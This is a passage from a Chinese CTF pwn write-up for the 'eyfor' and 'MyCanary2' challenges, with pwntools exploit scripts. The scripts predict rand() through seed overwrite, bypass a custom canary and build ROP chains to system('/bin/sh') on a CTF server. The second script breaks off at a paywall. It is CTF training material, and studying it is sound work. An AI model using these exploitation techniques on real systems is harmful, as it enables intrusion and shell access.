pwn
eyfor

buf可以覆盖seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出:
程序自带system函数,同时会将payload strcpy到bss段上,因此可以在payload中附带/bin/sh之后直接调用system(“/bin/sh”)
getshell。
exp:
from pwn import *
import ctypes
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
libc_func = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc_func.srand(10)
sh = process('/mnt/hgfs/ubuntu/das7/pwn4')
sh = remote('node4.buuoj.cn',27445)
sh.sendafter(b'go\n',b'aaa')
for i in range(4):
sh.sendlineafter(b'message:\n',str(libc_func.rand()).encode())
sh.sendline(str(-1).encode())
pop_rdi = 0x0000000000400983
# gdb.attach(sh)
payload = b'/bin/sh\x00'+b'a'*0x30+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x6010C0)+p64(0x400680)
sh.sendline(payload)
sh.interactive()
MyCanary2

程序自己实现一个canary,canary本身是通过随机数异或而来,不可破解。
不过程序出现了一个逻辑漏洞。
若我们先调用栈溢出之后再调用生成canary则可以直接绕过canary 实现栈溢出。
exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/das7/MyCanary2/MyCanary2')
r = remote('node4.buuoj.cn',28879)
def menu(choice):
r.recvuntil(b"Input your choice")
r.sendline(str(choice))
def gogogo(payload):
menu(1)
r.recvuntil(b"Show me the code:")
r.send(payload)
pop_rdi = 0x0000000000401613
system_addr = 0x401120
payload = b'a'*0x68+p32(0)+p32(0)+p64(0)+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x4020F0)+p64(system_addr)
print(payload)
# gdb.attach(r)
gogogo(payload)
menu(2)
menu(

本文分享了pwn技术在MyCanary2、compact和easyheap三个挑战中的应用,包括利用buf覆盖、栈溢出、canary绕过、堆结构操作和free_hook利用等高级技巧,展示了如何通过精心构造payload获取shell。
最低0.47元/天 解锁文章
663

被折叠的 条评论
为什么被折叠?



